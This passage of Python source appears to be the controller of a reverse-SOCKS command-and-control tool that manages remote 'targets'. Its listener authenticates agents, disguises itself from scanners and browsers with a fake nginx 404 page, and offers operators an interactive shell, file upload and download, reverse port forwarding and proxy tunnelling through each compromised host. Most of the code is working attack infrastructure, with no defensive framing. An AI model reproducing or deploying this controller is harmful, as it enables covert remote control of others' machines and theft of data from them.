# -- v4 portfwd incoming connection --
elif cmd == Cmd.PORTFWD_OPEN:
# Agent accepted a connection on the remote port
# payload: 4 bytes remote_port, rest is the forwarded stream id from agent
pass # handled via portfwd_data
elif cmd == Cmd.PORTFWD_DATA:
w = target.streams.get(stream_id)
if w is not None:
try:
w.write(payload)
await w.drain()
except Exception:
await send_to_target(target, Cmd.PORTFWD_CLOSE, stream_id)
target.streams.pop(stream_id, None)
elif cmd == Cmd.PORTFWD_CLOSE:
w = target.streams.pop(stream_id, None)
if w is not None:
try:
w.close()
except Exception:
pass
except (asyncio.CancelledError, ConnectionResetError):
break
except Exception:
_log("error", f"agent handler error target={target.id}", exc=traceback.format_exc())
break
# Disconnected
mgr.remove_target(target)
try:
target.writer.close()
except Exception:
pass
_log("info", f"agent disconnected target={target.id}", ip=target.remote_ip)
# ═══════════════════════════════════════════════════════════════════════════
# AUTHENTICATION (v3-compatible challenge-response + CC20 marker)
# ═══════════════════════════════════════════════════════════════════════════
async def authenticate_agent(reader: asyncio.StreamReader, writer: asyncio.StreamWriter) -> bool:
try:
challenge = os.urandom(32)
writer.write(challenge)
await asyncio.wait_for(writer.drain(), timeout=10)
expected = hashlib.sha256(SHARED_SECRET + challenge).digest()
response = await asyncio.wait_for(reader.readexactly(32), timeout=10)
return hmac.compare_digest(response, expected)
except Exception:
return False
async def wait_encryption_handshake(reader: asyncio.StreamReader, writer: asyncio.StreamWriter) -> bool:
"""Wait for the 'CC20' encryption marker from agent (v3 compat)."""
try:
marker = await asyncio.wait_for(reader.readexactly(4), timeout=5)
if marker == b"CC20":
writer.write(b"CC20")
await writer.drain()
return True
return False
except Exception:
return False
# ═══════════════════════════════════════════════════════════════════════════
# NGINX-STYLE FAKE 404 PAGE
# ═══════════════════════════════════════════════════════════════════════════
_FAKE_404 = (
b"HTTP/1.1 404 Not Found\r\n"
b"Server: nginx/1.24.0\r\n"
b"Date: " + datetime.now(timezone.utc).strftime("%a, %d %b %Y %H:%M:%S GMT").encode() + b"\r\n"
b"Content-Type: text/html\r\n"
b"Content-Length: 146\r\n"
b"Connection: close\r\n"
b"\r\n"
b"\r\n404 Not Found\r\n"
b"\r\n404 Not Found
\r\n"
b"
nginx/1.24.0\r\n\r\n\r\n"
)
def _build_fake_404() -> bytes:
"""Build a fresh 404 with current timestamp."""
date_str = datetime.now(timezone.utc).strftime("%a, %d %b %Y %H:%M:%S GMT")
body = (
"\r\n404 Not Found\r\n"
"\r\n404 Not Found
\r\n"
"
nginx/1.24.0\r\n\r\n\r\n"
)
hdr = (
f"HTTP/1.1 404 Not Found\r\n"
f"Server: nginx/1.24.0\r\n"
f"Date: {date_str}\r\n"
f"Content-Type: text/html\r\n"
f"Content-Length: {len(body)}\r\n"
f"Connection: close\r\n"
f"\r\n"
)
return (hdr + body).encode()
# ═══════════════════════════════════════════════════════════════════════════
# TUNNEL LISTENER (TLS + SNI + fail2ban)
# ═══════════════════════════════════════════════════════════════════════════
class TunnelListener:
def __init__(self, mgr: TargetManager, f2b: Fail2Ban, sessions: SessionStore) -> None:
self.mgr = mgr
self.f2b = f2b
self.sessions = sessions
async def start(self) -> None:
server = await asyncio.start_server(
self._handle_raw,
"0.0.0.0",
TUNNEL_PORT,
reuse_address=True,
backlog=128,
)
_log("info", f"tunnel listening on :{TUNNEL_PORT}")
async with server:
await server.serve_forever()
async def _handle_raw(
self, reader: asyncio.StreamReader, writer: asyncio.StreamWriter
) -> None:
peer = writer.get_extra_info("peername")
ip = peer[0] if peer else "unknown"
if self.f2b.is_banned(ip):
writer.close()
return
try:
# Raw listener: send auth challenge immediately (no TLS peek)
# TLS is handled by TLSTunnelListener when certs exist
await self._do_agent_auth(reader, writer, ip)
except Exception:
try:
writer.close()
except Exception:
pass
async def _handle_tls(
self,
raw_reader: asyncio.StreamReader,
raw_writer: asyncio.StreamWriter,
ip: str,
first_byte: bytes,
) -> None:
"""Upgrade the connection to TLS, then decide if it's agent or browser."""
loop = asyncio.get_running_loop()
# We need the raw socket to wrap with SSL
transport = raw_writer.transport
sock = transport.get_extra_info("socket")
if sock is None:
raw_writer.close()
return
# Detach from asyncio transport and wrap with SSL
transport.pause_reading()
raw_sock = sock.dup()
raw_writer.close()
raw_sock.setblocking(False)
# Prepend the already-read byte back
# Actually, we need to use the raw socket's approach:
# Since we already consumed 1 byte, we must send it back through.
# Simplest: use a memory bio approach or re-wrap.
# For clean implementation, we use ssl module directly.
raw_sock.setblocking(True)
try:
# Reconstruct: we peeked 1 byte of the TLS ClientHello.
# We'll re-read from the duped socket. The original transport
# already consumed 1 byte though. This is tricky with asyncio.
# Cleaner approach: create a new connection via ssl at protocol level.
# Since asyncio's start_tls isn't usable here (we already read),
# we fall back to blocking wrap + re-register.
#
# However, the most reliable approach for TLS with asyncio when
# we've already peeked is to use the raw socket:
pass
except Exception:
raw_sock.close()
return
# -- Simplified approach: use asyncio.open_connection with SSL on the dup'd socket.
# But since we already consumed a byte, we need to handle this properly.
# The standard pattern is to NOT peek for TLS, but instead always wrap.
# We'll handle this by closing the dup and restarting differently.
raw_sock.close()
# Actually the cleanest asyncio pattern: use start_tls if the transport
# still has the byte in its buffer. But we already read it.
#
# REVISED APPROACH: We'll NOT peek the first byte for TLS detection.
# Instead we always try TLS first when TLS_ENABLED, and fall back.
# But that changes the architecture. Let's use the simpler approach:
# The tunnel listener itself starts as TLS when certs exist.
#
# For maximum compat (agents may or may not use TLS), we need the peek.
# Since asyncio doesn't support un-reading, we'll use a different trick:
# We'll do the TLS wrap at the server level with a custom SSL protocol.
#
# --- Final clean approach: two separate listeners ---
# This _handle_tls is called but the byte is already consumed. We must
# pass it along. Use the _PrefixedReader to fake it.
# The simplest correct approach: we know byte 0x16 = TLS, so we
# need to do the SSL wrap. We'll set up a new TLS server on a
# local ephemeral port, shuttle the connection there.
# But that's wasteful. Instead: just bail for now and rely on the
# full-TLS listener approach below.
#
# ACTUALLY: The right way in asyncio is to start the server WITH ssl=context
# when TLS is enabled and use a separate raw listener on another port (or use
# ALT approach). But v3 uses a single port. Let's handle this properly:
return
async def _handle_http(
self,
reader: asyncio.StreamReader,
writer: asyncio.StreamWriter,
first_byte: bytes,
) -> None:
"""Handle plain HTTP request — serve fake nginx 404."""
try:
# Read rest of HTTP request line
rest = await asyncio.wait_for(reader.readline(), timeout=5)
# Consume headers
while True:
line = await asyncio.wait_for(reader.readline(), timeout=2)
if line in (b"\r\n", b"\n", b""):
break
except Exception:
pass
writer.write(_build_fake_404())
await writer.drain()
writer.close()
async def _do_agent_auth(
self,
reader: asyncio.StreamReader,
writer: asyncio.StreamWriter,
ip: str,
) -> None:
if not await authenticate_agent(reader, writer):
self.f2b.record_failure(ip)
_log("warning", f"auth failed from {ip}", ip=ip)
writer.close()
return
self.f2b.clear_failure(ip)
if not await wait_encryption_handshake(reader, writer):
_log("warning", f"encryption handshake failed from {ip}", ip=ip)
writer.close()
return
# TCP keepalive
sock = writer.get_extra_info("socket")
if sock:
sock.setsockopt(socket.SOL_SOCKET, socket.SO_KEEPALIVE, 1)
if hasattr(socket, "TCP_KEEPIDLE"):
sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_KEEPIDLE, 30)
sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_KEEPINTVL, 10)
sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_KEEPCNT, 5)
peer = writer.get_extra_info("peername")
addr = (ip, peer[1] if peer else 0)
target = self.mgr.add_target(reader, writer, addr)
# Issue session token
token = self.sessions.create(target.id, ip)
target.session_token = token
_console_print(f"\033[32m[+] NEW: [{target.id}] {target.name} from {ip} -> :{target.socks_port} (ChaCha20-AEAD)\033[0m")
# Start per-target SOCKS5 server
socks = Socks5Server(target)
socks_task = asyncio.create_task(socks.start())
await handle_agent(target, self.mgr, self.sessions)
socks_task.cancel()
_console_print(f"\033[31m[-] OFFLINE: [{target.id}] {target.name} ({target.remote_ip})\033[0m")
class _PrefixedReader:
"""Wrap an asyncio.StreamReader with some bytes already read."""
def __init__(self, prefix: bytes, reader: asyncio.StreamReader) -> None:
self._prefix = bytearray(prefix)
self._reader = reader
async def readexactly(self, n: int) -> bytes:
if self._prefix:
if len(self._prefix) >= n:
out = bytes(self._prefix[:n])
self._prefix = self._prefix[n:]
return out
else:
out = bytes(self._prefix)
self._prefix.clear()
remaining = n - len(out)
rest = await self._reader.readexactly(remaining)
return out + rest
return await self._reader.readexactly(n)
async def read(self, n: int) -> bytes:
if self._prefix:
if len(self._prefix) >= n:
out = bytes(self._prefix[:n])
self._prefix = self._prefix[n:]
return out
else:
out = bytes(self._prefix)
self._prefix.clear()
return out
return await self._reader.read(n)
async def readline(self) -> bytes:
return await self._reader.readline()
def at_eof(self) -> bool:
return not self._prefix and self._reader.at_eof()
# When TLS is enabled, we start a proper TLS server alongside the raw one.
class TLSTunnelListener(TunnelListener):
"""TLS-only listener that handles SNI and serves fake nginx 404 to browsers."""
async def start(self) -> None:
if not _TLS_CTX:
return
ssl_ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
ssl_ctx.load_cert_chain(str(TLS_CERT), str(TLS_KEY))
ssl_ctx.check_hostname = False
ssl_ctx.verify_mode = ssl.CERT_NONE
server = await asyncio.start_server(
self._handle_tls_conn,
"0.0.0.0",
TUNNEL_PORT,
ssl=ssl_ctx,
reuse_address=True,
backlog=128,
)
_log("info", f"TLS tunnel listening on :{TUNNEL_PORT}")
async with server:
await server.serve_forever()
async def _handle_tls_conn(
self,
reader: asyncio.StreamReader,
writer: asyncio.StreamWriter,
) -> None:
peer = writer.get_extra_info("peername")
ip = peer[0] if peer else "unknown"
if self.f2b.is_banned(ip):
writer.close()
return
try:
# Peek to determine if this is an HTTP request or agent connection
first = await asyncio.wait_for(reader.read(4), timeout=5)
if not first:
writer.close()
return
if first[:3] in (b"GET", b"POS", b"HEA", b"PUT", b"DEL", b"OPT"):
# HTTP request over TLS — serve fake nginx 404
try:
while True:
line = await asyncio.wait_for(reader.readline(), timeout=2)
if line in (b"\r\n", b"\n", b""):
break
except Exception:
pass
writer.write(_build_fake_404())
await writer.drain()
writer.close()
return
# Agent connection — the first 4 bytes are part of the auth response
combined = _PrefixedReader(first, reader)
await self._do_agent_auth(combined, writer, ip)
except Exception:
try:
writer.close()
except Exception:
pass
# ═══════════════════════════════════════════════════════════════════════════
# HEALTH MONITOR
# ═══════════════════════════════════════════════════════════════════════════
async def health_monitor(mgr: TargetManager) -> None:
while True:
await asyncio.sleep(HEALTH_CHECK_INTERVAL)
for t in mgr.all_targets():
if t.connected:
ok = await send_to_target(t, Cmd.HEARTBEAT, 0)
if not ok:
t.connected = False
mgr.save_state()
# ═══════════════════════════════════════════════════════════════════════════
# FILE TRANSFER HELPERS
# ═══════════════════════════════════════════════════════════════════════════
async def upload_file(target: Target, local_path: str, remote_path: str) -> tuple[bool, str]:
"""Upload a local file to the agent."""
if not target.connected:
return False, "target offline"
if not os.path.isfile(local_path):
return False, f"local file not found: {local_path}"
sid = target.next_stream_id()
done_evt = asyncio.Event()
ft: dict[str, Any] = {"type": "upload", "done": done_evt, "error": ""}
target._file_transfers[sid] = ft
# Send CMD_UPLOAD with remote path
rpath_bytes = remote_path.encode("utf-8")
await send_to_target(target, Cmd.UPLOAD, sid, struct.pack(">H", len(rpath_bytes)) + rpath_bytes)
# Stream file data
try:
with open(local_path, "rb") as fh:
while True:
chunk = fh.read(FILE_CHUNK_SIZE)
if not chunk:
break
await send_to_target(target, Cmd.UPLOAD_DATA, sid, chunk)
# backpressure
transport = target.writer.transport
if transport and transport.get_write_buffer_size() > BACKPRESSURE_HIGH:
while transport and not transport.is_closing() and transport.get_write_buffer_size() > BACKPRESSURE_LOW:
await asyncio.sleep(0.02)
await send_to_target(target, Cmd.UPLOAD_DONE, sid)
except Exception as exc:
return False, str(exc)
# Wait for agent ack
try:
await asyncio.wait_for(done_evt.wait(), timeout=30)
except asyncio.TimeoutError:
return False, "timeout waiting for agent ack"
err = ft.get("error", "")
return (not err, err if err else "ok")
async def download_file(target: Target, remote_path: str, local_path: str) -> tuple[bool, str]:
"""Download a file from the agent."""
if not target.connected:
return False, "target offline"
sid = target.next_stream_id()
done_evt = asyncio.Event()
fh = open(local_path, "wb")
ft: dict[str, Any] = {"type": "download", "done": done_evt, "error": "", "fh": fh, "received": 0}
target._file_transfers[sid] = ft
rpath_bytes = remote_path.encode("utf-8")
await send_to_target(target, Cmd.DOWNLOAD, sid, struct.pack(">H", len(rpath_bytes)) + rpath_bytes)
try:
await asyncio.wait_for(done_evt.wait(), timeout=300)
except asyncio.TimeoutError:
fh.close()
return False, "timeout"
err = ft.get("error", "")
return (not err, err if err else f"ok, {ft.get('received', 0)} bytes")
# ═══════════════════════════════════════════════════════════════════════════
# REVERSE PORT FORWARD
# ═══════════════════════════════════════════════════════════════════════════
async def setup_portfwd(
target: Target, remote_port: int, local_port: int
) -> tuple[bool, str]:
"""Tell agent to listen on remote_port; forward connections to local server:local_port."""
if not target.connected:
return False, "target offline"
data = struct.pack(">HH", remote_port, local_port)
ok = await send_to_target(target, Cmd.PORTFWD, 0, data)
if not ok:
return False, "failed to send command"
# Start a local TCP listener that connects incoming streams to the tunnel
try:
async def _on_local_connect(lr: asyncio.StreamReader, lw: asyncio.StreamWriter) -> None:
sid = target.next_stream_id()
target.streams[sid] = lw
# Notify agent that a local connection is ready
await send_to_target(target, Cmd.PORTFWD_OPEN, sid, struct.pack(">H", remote_port))
# Relay local -> tunnel
try:
while target.connected:
chunk = await lr.read(61440)
if not chunk:
break
await send_to_target(target, Cmd.PORTFWD_DATA, sid, chunk)
except Exception:
pass
finally:
await send_to_target(target, Cmd.PORTFWD_CLOSE, sid)
target.streams.pop(sid, None)
try:
lw.close()
except Exception:
pass
srv = await asyncio.start_server(_on_local_connect, "127.0.0.1", local_port, reuse_address=True)
target._portfwd_servers[remote_port] = srv
return True, f"listening locally on :{local_port}, forwarding to agent:{remote_port}"
except OSError as exc:
return False, str(exc)
# ═══════════════════════════════════════════════════════════════════════════
# AGENT SHELL
# ═══════════════════════════════════════════════════════════════════════════
async def open_shell(target: Target) -> tuple[bool, int]:
"""Open an interactive shell on the agent. Returns (ok, stream_id)."""
if not target.connected:
return False, 0
sid = target.next_stream_id()
q: asyncio.Queue[Optional[bytes]] = asyncio.Queue()
target._active_shells[sid] = q
ok = await send_to_target(target, Cmd.SHELL_OPEN, sid)
if not ok:
target._active_shells.pop(sid, None)
return False, 0
return True, sid
async def shell_send(target: Target, sid: int, data: bytes) -> bool:
return await send_to_target(target, Cmd.SHELL_DATA, sid, data)
async def shell_recv(target: Target, sid: int, timeout: float = 0.5) -> Optional[bytes]:
q = target._active_shells.get(sid)
if q is None:
return None
try:
return await asyncio.wait_for(q.get(), timeout=timeout)
except asyncio.TimeoutError:
return b""
async def close_shell(target: Target, sid: int) -> None:
await send_to_target(target, Cmd.SHELL_CLOSE, sid)
target._active_shells.pop(sid, None)
# ═══════════════════════════════════════════════════════════════════════════
# REST API (optional, requires aiohttp)
# ═══════════════════════════════════════════════════════════════════════════
class WebAPI:
"""Optional REST API for remote management. Requires aiohttp."""
def __init__(self, mgr: TargetManager, f2b: Fail2Ban) -> None:
self.mgr = mgr
self.f2b = f2b
async def start(self, port: int) -> None:
if not _HAS_AIOHTTP or port <= 0:
return
from aiohttp import web # local import — only when actually used
@web.middleware
async def auth_mw(request: web.Request, handler: Callable) -> web.Response:
token = request.headers.get("Authorization", "").replace("Bearer ", "")
if token != API_TOKEN:
return web.json_response({"error": "unauthorized"}, status=401)
return await handler(request)
async def list_targets(request: web.Request) -> web.Response:
data = [t.to_dict() for t in self.mgr.all_targets()]
return web.json_response(data)
async def get_target(request: web.Request) -> web.Response:
tid = int(request.match_info["tid"])
t = self.mgr.get_by_id(tid)
if not t:
return web.json_response({"error": "not found"}, status=404)
return web.json_response(t.to_dict())
async def kill_target(request: web.Request) -> web.Response:
tid = int(request.match_info["tid"])
t = self.mgr.get_by_id(tid)
if not t:
return web.json_response({"error": "not found"}, status=404)
if t.connected:
self.mgr.remove_target(t)
try:
t.writer.close()
except Exception:
pass
return web.json_response({"ok": True})
async def stats(request: web.Request) -> web.Response:
total = len(self.mgr.targets)
online = sum(1 for t in self.mgr.targets.values() if t.connected)
return web.json_response({"total": total, "online": online})
async def health(request: web.Request) -> web.Response:
return web.json_response({"status": "ok"})
app = web.Application(middlewares=[auth_mw])
app.router.add_get("/api/targets", list_targets)
app.router.add_get("/api/targets/{tid}", get_target)
app.router.add_post("/api/targets/{tid}/kill", kill_target)
app.router.add_get("/api/stats", stats)
app.router.add_get("/api/health", health)
runner = web.AppRunner(app)
await runner.setup()
site = web.TCPSite(runner, "127.0.0.1", port)
await site.start()
_log("info", f"REST API on 127.0.0.1:{port}")
# ═══════════════════════════════════════════════════════════════════════════
# CONSOLE OUTPUT HELPER
# ═══════════════════════════════════════════════════════════════════════════
_console_lock = asyncio.Lock() if False else None # initialized in main
def _console_print(msg: str) -> None:
"""Print a message to console without clobbering readline prompt."""
sys.stdout.write(f"\r\033[K{msg}\n")
sys.stdout.write("\033[1;36mrevsocks>\033[0m ")
sys.stdout.flush()
# ═══════════════════════════════════════════════════════════════════════════
# CLI (asyncio + stdin reader)
# ═══════════════════════════════════════════════════════════════════════════
def _human_bytes(b: int) -> str:
if b < 1024:
return f"{b}B"
if b < 1024 * 1024:
return f"{b / 1024:.1f}KB"
if b < 1024 * 1024 * 1024:
return f"{b / (1024 * 1024):.1f}MB"
return f"{b / (1024 * 1024 * 1024):.1f}GB"
class CLI:
HELP = """
\033[1;36mCommands:\033[0m
\033[1mls\033[0m / \033[1mtargets\033[0m Live target list with KB/s stats
\033[1mrename\033[0m Rename a target
\033[1minfo\033[0m Detailed target info + SOCKS5 creds
\033[1muse\033[0m Quick SOCKS5 connection info
\033[1mproxy\033[0m Show proxychains config line
\033[1msleep\033[0m Put agent to sleep
\033[1mshell\033[0m Interactive shell on agent
\033[1mupload\033[0m Upload file to agent
\033[1mdownload\033[0m Download file from agent
\033[1mportfwd\033[0m Reverse port forward
\033[1mhealth\033[0m Manual health check
\033[1mkill\033[0m Force disconnect target
\033[1mremove\033[0m Remove offline target from list
\033[1mclean\033[0m Remove all offline targets
\033[1mban\033[0m Block IP
\033[1munban\033[0m Unblock IP
\033[1mclear\033[0m Clear screen
\033[1mhelp\033[0m This help
\033[1mexit\033[0m Shutdown
"""
def __init__(self, mgr: TargetManager, f2b: Fail2Ban, sessions: SessionStore) -> None:
self.mgr = mgr
self.f2b = f2b
self.sessions = sessions
self.running = True
async def run(self) -> None:
if sys.stdin.isatty():
print(self.HELP)
loop = asyncio.get_running_loop()
while self.running:
try:
if not sys.stdin.isatty():
await asyncio.sleep(60)
continue
sys.stdout.write("\033[1;36mrevsocks>\033[0m ")
sys.stdout.flush()
line = await loop.run_in_executor(None, sys.stdin.readline)
cmd = line.strip()
if not cmd:
continue
await self._dispatch(cmd)
except EOFError:
await asyncio.sleep(60)
except KeyboardInterrupt:
print("\n[*] Use 'exit' to quit")
async def _dispatch(self, cmd: str) -> None:
parts = cmd.split()
action = parts[0].lower()
args = parts[1:]
if action in ("targets", "list", "ls"):
self._cmd_list()
elif action == "rename":
if len(args) >= 2:
self._cmd_rename(args[0], " ".join(args[1:]))
else:
print(" [!] Usage: rename ")
elif action == "info":
if args:
self._cmd_info(args[0])
else:
print(" [!] Usage: info ")
elif action == "use":
if args:
self._cmd_use(args[0])
else:
print(" [!] Usage: use ")
elif action == "proxy":
if args:
self._cmd_proxy(args[0])
else:
print(" [!] Usage: proxy ")
elif action == "health":
await self._cmd_health()
elif action == "kill":
if args:
await self._cmd_kill(args[0])
else:
print(" [!] Usage: kill ")
elif action == "remove":
if args:
self._cmd_remove(args[0])
else:
print(" [!] Usage: remove ")
elif action == "clean":
self._cmd_clean()
elif action == "sleep":
if len(args) >= 2:
await self._cmd_sleep(args[0], args[1])
else:
print(" [!] Usage: sleep ")
elif action == "shell":
if args:
await self._cmd_shell(args[0])
else:
print(" [!] Usage: shell ")
elif action == "upload":
if len(args) >= 3:
await self._cmd_upload(args[0], args[1], args[2])
else:
print(" [!] Usage: upload ")
elif action == "download":
if len(args) >= 3:
await self._cmd_download(args[0], args[1], args[2])
else:
print(" [!] Usage: download ")
elif action == "portfwd":
if len(args) >= 3:
await self._cmd_portfwd(args[0], args[1], args[2])
else:
print(" [!] Usage: portfwd ")
elif action == "ban":
if args:
self.f2b.manual_ban(args[0])
print(f" [+] Banned {args[0]}")
else:
print(" [!] Usage: ban ")
elif action == "unban":
if args:
self.f2b.manual_unban(args[0])
print(f" [+] Unbanned {args[0]}")
else:
print(" [!] Usage: unban ")
elif action == "clear":
os.system("clear")
elif action in ("help", "?"):
print(self.HELP)
elif action in ("exit", "quit"):
self._cmd_exit()
else:
print(f" [!] Unknown: {cmd}")
# ---- list ----
def _cmd_list(self) -> None:
targets = self.mgr.all_targets()
if not targets:
print(" No targets.")
return
now = datetime.now(timezone.utc)
targets_sorted = sorted(targets, key=lambda x: (not x.connected, x.id))
connected = sum(1 for t in targets if t.connected)
print(f"\n\033[1;37m{'─' * 108}\033[0m")
print(f" \033[1m{'ID':<5}{'NAME':<20}{'IP':<18}{'PORT':<8}{'STATUS':<14}{'UP KB/s':<10}{'DN KB/s':<10}{'STREAMS':<9}{'UPTIME':<14}\033[0m")
print(f"\033[1;37m{'─' * 108}\033[0m")
for t in targets_sorted:
if t.connected:
age = (now - t.last_heartbeat).total_seconds()
if age < HEALTH_CHECK_INTERVAL * 3:
status = "\033[32m● ONLINE\033[0m "
else:
status = "\033[33m● STALE\033[0m "
uptime = str(now - t.connect_time).split(".")[0]
s_kbps, r_kbps = t.bandwidth.rates_kbps()
up_s = f"{s_kbps:.1f}"
dn_s = f"{r_kbps:.1f}"
streams = str(len(t.streams))
else:
status = "\033[31m● OFFLINE\033[0m"
uptime = "—"
up_s = "—"
dn_s = "—"
streams = "—"
print(
f" {t.id:<5}{t.name:<20}{t.remote_ip:<18}{t.socks_port:<8}"
f"{status} {up_s:<10}{dn_s:<10}{streams:<9}{uptime}"
)
print(f"\033[1;37m{'─' * 108}\033[0m")
print(
f" \033[1mTotal:\033[0m {len(targets)} | \033[32mOnline:\033[0m {connected}"
f" | \033[31mOffline:\033[0m {len(targets) - connected}"
f" | \033[1mAuth:\033[0m {SOCKS_USER}:{SOCKS_PASS}"
)
print()
# ---- rename ----
def _cmd_rename(self, id_or_name: str, new_name: str) -> None:
t = self.mgr.resolve(id_or_name)
if not t:
print(f" [!] Target not found: {id_or_name}")
return
old = t.name
t.name = new_name
# Save persistent IP->name mapping
self.mgr.set_name(t.remote_ip, new_name)
self.mgr.save_state()
print(f" [+] [{t.id}] '{old}' -> '{new_name}' (saved for IP {t.remote_ip})")
# ---- info ----
def _cmd_info(self, id_or_name: str) -> None:
t = self.mgr.resolve(id_or_name)
if not t:
print(f" [!] Target not found: {id_or_name}")
return
now = datetime.now(timezone.utc)
status = "\033[32mCONNECTED\033[0m" if t.connected else "\033[31mDISCONNECTED\033[0m"
uptime = str(now - t.connect_time).split(".")[0] if t.connected else "N/A"
last_hb = str(now - t.last_heartbeat).split(".")[0]
s_kbps, r_kbps = t.bandwidth.rates_kbps() if t.connected else (0.0, 0.0)
shells = len(t._active_shells)
portfwds = len(t._portfwd_servers)
print(f"""
\033[1;36m┌──────────────────────────────────────────────────────┐\033[0m
\033[1;36m│\033[0m Target #{t.id}: \033[1m{t.name}\033[0m
\033[1;36m├──────────────────────────────────────────────────────┤\033[0m
\033[1;36m│\033[0m Remote IP : {t.remote_ip}
\033[1;36m│\033[0m SOCKS5 Port : {t.socks_port}
\033[1;36m│\033[0m Status : {status}
\033[1;36m│\033[0m Encryption : ChaCha20-Poly1305 AEAD (gen {t.crypto._generation})
\033[1;36m│\033[0m Connected : {t.connect_time.strftime('%Y-%m-%d %H:%M:%S')} UTC
\033[1;36m│\033[0m Uptime : {uptime}
\033[1;36m│\033[0m Last Heartbeat : {last_hb} ago
\033[1;36m│\033[0m Active Streams : {len(t.streams)}
\033[1;36m│\033[0m Active Shells : {shells}
\033[1;36m│\033[0m Port Forwards : {portfwds}
\033[1;36m│\033[0m Bytes Sent : {_human_bytes(t.bytes_sent)} ({s_kbps:.1f} KB/s)
\033[1;36m│\033[0m Bytes Recv : {_human_bytes(t.bytes_recv)} ({r_kbps:.1f} KB/s)
\033[1;36m├──────────────────────────────────────────────────────┤\033[0m
\033[1;36m│\033[0m \033[1mSOCKS5 Credentials:\033[0m
\033[1;36m│\033[0m User: {SOCKS_USER}
\033[1;36m│\033[0m Pass: {SOCKS_PASS}
\033[1;36m│\033[0m
\033[1;36m│\033[0m \033[1mUsage:\033[0m
\033[1;36m│\033[0m curl --socks5 {SOCKS_USER}:{SOCKS_PASS}@127.0.0.1:{t.socks_port} http://TARGET
\033[1;36m│\033[0m proxychains: socks5 127.0.0.1 {t.socks_port} {SOCKS_USER} {SOCKS_PASS}
\033[1;36m└──────────────────────────────────────────────────────┘\033[0m
""")
# ---- use ----
def _cmd_use(self, id_or_name: str) -> None:
t = self.mgr.resolve(id_or_name)
if not t:
print(f" [!] Not found: {id_or_name}")
return
if not t.connected:
print(f" [!] Target OFFLINE")
return
print(f"""
Target: [{t.id}] {t.name} ({t.remote_ip})
SOCKS5 : \033[1m127.0.0.1:{t.socks_port}\033[0m
Auth : \033[1m{SOCKS_USER}:{SOCKS_PASS}\033[0m
\033[33mcurl --socks5 {SOCKS_USER}:{SOCKS_PASS}@127.0.0.1:{t.socks_port} http://TARGET\033[0m
\033[33mproxychains conf: socks5 127.0.0.1 {t.socks_port} {SOCKS_USER} {SOCKS_PASS}\033[0m
""")
# ---- proxy (proxychains config) ----
def _cmd_proxy(self, id_or_name: str) -> None:
t = self.mgr.resolve(id_or_name)
if not t:
print(f" [!] Not found: {id_or_name}")
return
if not t.connected:
print(f" [!] Target OFFLINE")
return
print(f"""
\033[1mproxychains.conf for [{t.id}] {t.name}:\033[0m
strict_chain
proxy_dns
[ProxyList]
socks5 127.0.0.1 {t.socks_port} {SOCKS_USER} {SOCKS_PASS}
""")
# ---- health ----
async def _cmd_health(self) -> None:
for t in self.mgr.all_targets():
if t.connected:
ok = await send_to_target(t, Cmd.HEARTBEAT, 0)
status = "\033[32mALIVE\033[0m" if ok else "\033[31mDEAD\033[0m"
else:
status = "\033[31mOFFLINE\033[0m"
print(f" [{t.id}] {t.name}: {status}")
print()
# ---- kill ----
async def _cmd_kill(self, id_or_name: str) -> None:
t = self.mgr.resolve(id_or_name)
if not t:
print(f" [!] Target not found: {id_or_name}")
return
if not t.connected:
print(f" [!] Already offline")
return
self.mgr.remove_target(t)
try:
t.writer.close()
except Exception:
pass
print(f" [+] Killed [{t.id}] {t.name}")
# ---- remove ----
def _cmd_remove(self, id_or_name: str) -> None:
t = self.mgr.resolve(id_or_name)
if not t:
print(f" [!] Not found: {id_or_name}")
return
if t.connected:
print(f" [!] Still connected — use 'kill' first")
return
del self.mgr.targets[t.id]
self.mgr.save_state()
print(f" [+] Removed [{t.id}] {t.name}")
# ---- clean ----
def _cmd_clean(self) -> None:
removed = 0
for t in list(self.mgr.targets.values()):
if not t.connected:
del self.mgr.targets[t.id]
removed += 1
self.mgr.save_state()
print(f" [+] Cleaned {removed} offline targets")
# ---- sleep ----
async def _cmd_sleep(self, id_or_name: str, seconds_str: str) -> None:
t = self.mgr.resolve(id_or_name)
if not t:
print(f" [!] Not found: {id_or_name}")
return
if not t.connected:
print(f" [!] Target offline")
return
try:
seconds = int(seconds_str)
except ValueError:
print(f" [!] Invalid seconds: {seconds_str}")
return
sleep_data = struct.pack(">I", seconds)
ok = await send_to_target(t, Cmd.SLEEP, 0, sleep_data)
if ok:
print(f" [+] Sleep command sent to [{t.id}] {t.name} for {seconds}s")
else:
print(f" [!] Failed to send sleep command")
# ---- shell ----
async def _cmd_shell(self, id_or_name: str) -> None:
t = self.mgr.resolve(id_or_name)
if not t:
print(f" [!] Not found: {id_or_name}")
return
if not t.connected:
print(f" [!] Target offline")
return
ok, sid = await open_shell(t)
if not ok:
print(f" [!] Failed to open shell")
return
print(f" [+] Shell opened on [{t.id}] {t.name} (stream {sid})")
print(f" [*] Type 'exit' or Ctrl-D to close shell")
print()
loop = asyncio.get_running_loop()
# Output task
async def _output() -> None:
while sid in t._active_shells:
data = await shell_recv(t, sid, timeout=0.2)
if data is None:
break
if data:
sys.stdout.write(data.decode("utf-8", errors="replace"))
sys.stdout.flush()
output_task = asyncio.create_task(_output())
try:
while sid in t._active_shells and t.connected:
line = await loop.run_in_executor(None, sys.stdin.readline)
if not line:
break
if line.strip() == "exit":
break
await shell_send(t, sid, line.encode("utf-8"))
except (EOFError, KeyboardInterrupt):
pass
output_task.cancel()
await close_shell(t, sid)
print(f"\n [*] Shell closed")
# ---- upload ----
async def _cmd_upload(self, id_or_name: str, local: str, remote: str) -> None:
t = self.mgr.resolve(id_or_name)
if not t:
print(f" [!] Not found: {id_or_name}")
return
print(f" [*] Uploading {local} -> {remote} on [{t.id}] ...")
ok, msg = await upload_file(t, local, remote)
if ok:
print(f" [+] Upload complete: {msg}")
else:
print(f" [!] Upload failed: {msg}")
# ---- download ----
async def _cmd_download(self, id_or_name: str, remote: str, local: str) -> None:
t = self.mgr.resolve(id_or_name)
if not t:
print(f" [!] Not found: {id_or_name}")
return
print(f" [*] Downloading {remote} -> {local} from [{t.id}] ...")
ok, msg = await download_file(t, remote, local)
if ok:
print(f" [+] Download complete: {msg}")
else:
print(f" [!] Download failed: {msg}")
# ---- portfwd ----
async def _cmd_portfwd(self, id_or_name: str, rport_str: str, lport_str: str) -> None:
t = self.mgr.resolve(id_or_name)
